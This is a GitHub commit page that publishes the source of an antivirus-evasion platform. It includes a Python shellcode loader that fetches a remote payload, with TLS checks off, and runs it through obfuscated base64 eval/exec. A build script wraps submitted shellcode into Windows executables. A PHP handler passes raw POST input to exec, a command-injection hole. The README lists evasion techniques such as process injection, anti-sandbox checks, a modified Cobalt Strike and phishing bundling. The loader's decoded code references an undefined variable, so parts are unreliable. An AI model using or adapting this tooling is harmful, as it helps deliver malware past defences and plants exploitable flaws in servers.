Skip to content

Commit d58f9de

Browse files
admin360bugadmin360bug
committedDec 22, 2021
V1.0
让更多的人了解免杀平台其实没那么难写
1 parent 360027d commit d58f9de

24 files changed

+565
-0
lines changed
 

‎Bypass/360SB.ico

90.7 KB
Binary file not shown.

‎Bypass/Bypass.py

+14
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
import ctypes
2+
import requests
3+
import base64
4+
5+
url="Null"
6+
7+
headers = {
8+
'User-Agent': "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)",
9+
}
10+
requests.packages.urllib3.disable_warnings()
11+
s = requests.get(base64.b64decode(url),headers=headers,verify=False)
12+
s = bytearray(s.content)
13+
14+
eval(base64.b64decode("ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHNoZWxsKSk="))

‎Bypass/Input.py

+57
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
# -*- coding: UTF-8 -*-
2+
import sys,os,re,base64,json
3+
import shutil
4+
5+
Shellcode = sys.argv[1] # 接受传递过来的shellcode
6+
Name = sys.argv[2] # 接受传递过来的Name
7+
ShellName = Name+".py"
8+
old_str = "Null"
9+
10+
os.chdir('./Bypass')
11+
12+
def Start():
13+
if os.path.exists(Name) == False: #判断路径是否存在 ， 不然就创建
14+
os.mkdir(Name)
15+
16+
pyfile = "./"+ Name +"/" + ShellName #新Python文件路径
17+
18+
shutil.copy("./Bypass.py",pyfile) #将当前bypass copy 过去
19+
Fileif = os.path.exists(pyfile)
20+
21+
22+
if Fileif == True:
23+
new_str = base64.b64encode(Shellcode.encode('utf-8')).decode("utf-8")
24+
writeFile(pyfile,old_str,new_str)
25+
else:
26+
print("文件不存在,检查原文件。")
27+
28+
29+
30+
def writeFile(file,old_str,new_str):
31+
32+
with open(file, "r", encoding="utf-8") as f1,open("%s.bak" % file, "w", encoding="utf-8") as f2:
33+
for line in f1:
34+
f2.write(re.sub(old_str,new_str,line))
35+
os.remove(file)
36+
os.rename("%s.bak" % file, file)
37+
Exp()
38+
39+
def Exp():
40+
Dir = ".\\" + Name
41+
42+
43+
# pyinstaller -F -w -i 360SB.ico P.py -o Name
44+
# os.system("cd " + Dir + "&&" + "pyinstaller -F -w -i ./360SB.ico " + path)
45+
46+
os.system("cd " + Dir + "&&" + "pyinstaller -F -w -i ../360SB.ico " + ShellName + " --distpath=../../build")
47+
buildpath = "../build/"+Name+".exe"
48+
49+
if os.path.exists(buildpath) == True:
50+
E_ok =json.dumps("success")
51+
print(E_ok)
52+
else:
53+
E_bad =json.dumps("failure")
54+
print(E_bad)
55+
56+
if __name__ == "__main__":
57+
Start()

‎README.md

+132
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,132 @@
1+
# 开普勒星云免杀平台开源版V1.0
2+
3+
4+
5+
## 0x00写在开源之前：
6+
7+
#### 目前，在线的免杀的平台层出不穷，不少人可能会一些免杀的脚本编写，但是想要GUI化部署到Web服务器中，因为不会写Web这方面的代码，所以搁置。
8+
9+
#### 虽然，本身一开始是想说，搭建一套完整的免杀平台上线的，但奈何个人时间有限，要处理的事情非常非常多，团队的师傅也都在忙其他事情，实在无心把这个平台写完，又本着授人以鱼不如授人以渔的想法。所以，便把之前在7月份写的demo分享出来，交给有缘人依附于我们的这个demo往下写。
10+
11+
#### 其实实现这方面的GUI化非常简单，很多师傅只是懒得写这么一个框架而已，使用者可以根据我们的开发思路往下延申。
12+
13+
14+
15+
## 0x01界面：
16+
17+
![](./img/1.png)
18+
19+
## 0x02主要实现的核心代码：
20+
21+
22+
23+
```
24+
<?php
25+
26+
$shellcode = $_POST['shellcode'] ?? null;
27+
28+
if (empty($shellcode)||$_SERVER['REQUEST_METHOD'] != 'POST') {
29+
header('HTTP/1.1 400 Bad Request'); //返回Http错误码
30+
echo json_encode(['success' => 'false']); //返回错误信息
31+
return false;
32+
}
33+
34+
35+
// $url = "https://service-5369sd4f-1258472441.sh.apigw.tencentcs.com/bootstrap-2.min.js";
36+
37+
global $name,$path,$file_name;
38+
$name = md5(time()+$shellcode+base64_decode($shellcode));
39+
$file_name = $name.".exe";
40+
$file_dir = "./build/"; //下载文件存放目录
41+
$path = $file_dir . $file_name;
42+
43+
$shellcode = sprintf("python ./Bypass/Input.py %s %s",$shellcode,$name);
44+
45+
exec($shellcode,$result);
46+
$execResult = $result[2];
47+
exec_callback($shellcode, 'download');
48+
49+
function exec_callback($command, $callback){
50+
global $file_name;
51+
$array = array();
52+
exec($command, $array, $ret);
53+
if(!empty($array)){
54+
foreach ($array as $line){
55+
call_user_func($callback, $line);
56+
}
57+
}
58+
}
59+
60+
function download($line){
61+
global $name,$path;
62+
if($line == "success"){
63+
echo "ok";
64+
return;
65+
}
66+
if (! file_exists ( $path )) {
67+
header('HTTP/1.1 404 NOT FOUND');
68+
} else {
69+
$file = fopen ( $path, "rb" );
70+
Header ( "Content-type: application/octet-stream" );
71+
Header ( "Accept-Ranges: bytes" );
72+
Header ( "Accept-Length: " . filesize ( $path ) );
73+
header('Content-Disposition: attachment; filename="'.$name.'.exe"');
74+
echo fread ( $file, filesize ( $path ) );
75+
fclose ( $file );
76+
exit ();
77+
78+
}
79+
}
80+
```
81+
82+
## 0x03一些免杀思路分享：
83+
84+
#### 以下内容教程将与我本人的Web安全系列课程一同发布，敬请期待！
85+
86+
87+
88+
#### AES + XOR +魔改base64加密的 shellcode（减小程序熵值）
89+
90+
#### Shellcode拆分（多端交叉加载）
91+
92+
#### LSB隐写（远端下载shellcode防止查杀）
93+
94+
#### APC 进程注入 (从任意父进程执行恶意进程)
95+
96+
#### 随机生成的 AES 密钥和 iv（每次都是新的hash）
97+
98+
#### 资源修改（减小用户怀疑）
99+
100+
#### 内存休眠（避免敏感操作）
101+
102+
#### Syscall（防止杀软hook敏感api）
103+
104+
#### 动态修改自身（云查杀）
105+
106+
#### 杀免分离（自启+快速下线）
107+
108+
#### Mainifest（UAC）
109+
110+
#### 二次开发的Cobalt Strike（修复烂大街的特征）
111+
112+
#### 流量加密（对抗流量分析）
113+
114+
#### 内存加密（卡巴斯基内存扫描）
115+
116+
#### 反沙盒（检测内存+硬盘大小+有无U盘插拔记录）
117+
118+
#### 反调试（自己调试自己）
119+
120+
#### 捆绑（增加钓鱼成功率）
121+
122+
#### CDN（保护C2服务器）
123+
124+
125+
126+
## PS：感谢名单
127+
128+
#### Leeda、蒋神、饿猫、Alan知识星球用户
129+
130+
#### 如果有更好的思路和衍生版本，可发送邮件至admin@360bug.net
131+
132+
#### 让更多的人了解免杀平台其实没那么难写~

‎action.php

+59
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
<?php
2+
3+
$shellcode = $_POST['shellcode'] ?? null;
4+
5+
if (empty($shellcode)||$_SERVER['REQUEST_METHOD'] != 'POST') {
6+
header('HTTP/1.1 400 Bad Request'); //返回Http错误码
7+
echo json_encode(['success' => 'false']); //返回错误信息
8+
return false;
9+
}
10+
11+
12+
// $url = "https://service-5369sd4f-1258472441.sh.apigw.tencentcs.com/bootstrap-2.min.js";
13+
14+
global $name,$path,$file_name;
15+
$name = md5(time()+$shellcode+base64_decode($shellcode));
16+
$file_name = $name.".exe";
17+
$file_dir = "./build/"; //下载文件存放目录
18+
$path = $file_dir . $file_name;
19+
20+
$shellcode = sprintf("python ./Bypass/Input.py %s %s",$shellcode,$name);
21+
22+
exec($shellcode,$result);
23+
$execResult = $result[2];
24+
exec_callback($shellcode, 'download');
25+
26+
function exec_callback($command, $callback){
27+
global $file_name;
28+
$array = array();
29+
exec($command, $array, $ret);
30+
if(!empty($array)){
31+
foreach ($array as $line){
32+
call_user_func($callback, $line);
33+
}
34+
}
35+
}
36+
37+
function download($line){
38+
global $name,$path;
39+
if($line == "success"){
40+
echo "ok";
41+
return;
42+
}
43+
if (! file_exists ( $path )) {
44+
header('HTTP/1.1 404 NOT FOUND');
45+
} else {
46+
$file = fopen ( $path, "rb" );
47+
Header ( "Content-type: application/octet-stream" );
48+
Header ( "Accept-Ranges: bytes" );
49+
Header ( "Accept-Length: " . filesize ( $path ) );
50+
header('Content-Disposition: attachment; filename="'.$name.'.exe"');
51+
echo fread ( $file, filesize ( $path ) );
52+
fclose ( $file );
53+
exit ();
54+
55+
}
56+
}
57+
58+
59+

‎build/5624a6e34220240c2886d3ec72e82b1d.exe

6.56 MB
Binary file not shown.

‎build/d8af5d31caa9b1c6d9beeef847f38cb2.exe

6.56 MB
Binary file not shown.

‎build/e8403cd9be92559a4b6d51dd1afbbb85.exe

6.56 MB
Binary file not shown.

‎build/test.exe

6.56 MB
Binary file not shown.

‎images/bg.png

208 KB
Loading

‎images/bg2.png

22.3 KB
Loading

‎images/cloud_upload_black_36dp.svg

+1
Loading

‎images/logo.png

27 KB
Loading

‎images/uploading.svg

+3
Loading

‎img/1.png

674 KB
Loading

‎index.html

+91
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
<!DOCTYPE html>
2+
<html lang="zh_cn">
3+
<head>
4+
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
5+
<title>开普勒星云免杀平台开源版</title>
6+
<meta name="viewport" content="width=device-width, initial-scale=1" />
7+
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
8+
<link rel="stylesheet" type="text/css" href="./res/bootstrap.min.css" />
9+
<link rel="stylesheet" type="text/css" href="./res/index.css" />
10+
</head>
11+
<body>
12+
<div class="body-particles">
13+
<nav class="navbar navbar-expand-lg navbar-dark bg-primary">
14+
<div class="container">
15+
<a class="navbar-brand" href="/">
16+
<img src="./images/logo.png" class="logo">
17+
</a>
18+
</div>
19+
</nav>
20+
<div class="d-md-none" style="margin-top:10px;"></div>
21+
<div class="container top">
22+
<div class="card">
23+
<div class="card-header bg-primary text-white">
24+
<h1>开普勒星云免杀平台开源版</h1>
25+
</div>
26+
<div class="card-body">
27+
<form action="action.php" method="post" accept-charset="utf-8" enctype="multipart/form-data">
28+
<div class="form-group">
29+
<span>选择提交免杀模式：</span>
30+
<div class="form-check-inline">
31+
<input class="form-check-input" type="radio" name="mode" id="mode-code" value="shellcode" checked=checked required>
32+
<label class="form-check-label" for="mode-code">ShellCode</label>
33+
</div>
34+
<div class="form-check-inline">
35+
<input class="form-check-input" type="radio" name="mode" id="mode-file" value="file" required>
36+
<label class="form-check-label" for="mode-file">文件</label>
37+
</div>
38+
</div>
39+
<div class="form-group">
40+
<div id="file-input" class="visible">
41+
<label class="form-control" for="picker-input" id="uploads-file">
42+
<div class="cloud"></div>
43+
<p class="input-message">拖放文件至此处</p>
44+
<input id="picker-input" type="file" multiple="" accept="" class="picker-input" name="file"/>
45+
</label>
46+
</div>
47+
<div id="code-input">
48+
<input class="form-control pl-3" placeholder="请输入ShellCode..." name="shellcode"/>
49+
</div>
50+
<div id="uploading" style="display: none;">
51+
<div class="svg"></div>
52+
</div>
53+
54+
</div>
55+
<div class="text-center">
56+
<button type="submit" class="px-4 btn btn-primary" id="tijiao">生成</button>
57+
</div>
58+
</form>
59+
</div>
60+
</div>
61+
<div class="mt-5"></div>
62+
<div class="card">
63+
<div class="card-header bg-primary text-white" align="center">
64+
<h4>免责声明</h4>
65+
</div>
66+
<div class="card-body">
67+
<p>免杀全称为反杀毒技术(Anti Anti- Virus)简称免杀，是一种能够使病毒木马等文件免于被杀毒软件查杀的技术。</p>
68+
<p>本站(开普勒星云免杀平台)所有功能及数据仅可用于信息安全评估,严禁用于任何非法用途,如有违反任何法律本站不承担任何责任。</p>
69+
</div>
70+
</div>
71+
</div>
72+
</div>
73+
<div id="particles"></div>
74+
<script src="res/jquery-1.8.3.min.js"></script>
75+
</div>
76+
<script>
77+
// var input = document.getElementById("picker-input");
78+
// input.addEventListener('change', (event) => {
79+
// const result = document.querySelector('.input-message');
80+
// result.textContent = `已上传：${event.target.value}`;
81+
// });
82+
$(document).ready(function(){
83+
$("form").submit(function(e){
84+
$("#code-input").hide();
85+
$("#tijiao").hide();
86+
$("#uploading").show();
87+
});
88+
});
89+
</script>
90+
</body>
91+
</html>

‎old/360SB.ico

90.7 KB
Binary file not shown.

‎old/Bypass.py

+15
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
import ctypes
2+
import requests
3+
import base64
4+
5+
url="Null"
6+
7+
headers = {
8+
'User-Agent': "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)",
9+
}
10+
requests.packages.urllib3.disable_warnings()
11+
s = requests.get(base64.b64decode(url),headers=headers,verify=False)
12+
s = bytearray(s.content)
13+
14+
15+
eval(base64.b64decode("ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHNoZWxsKSk="))

0 commit comments

Comments
 (0)
Please sign in to comment.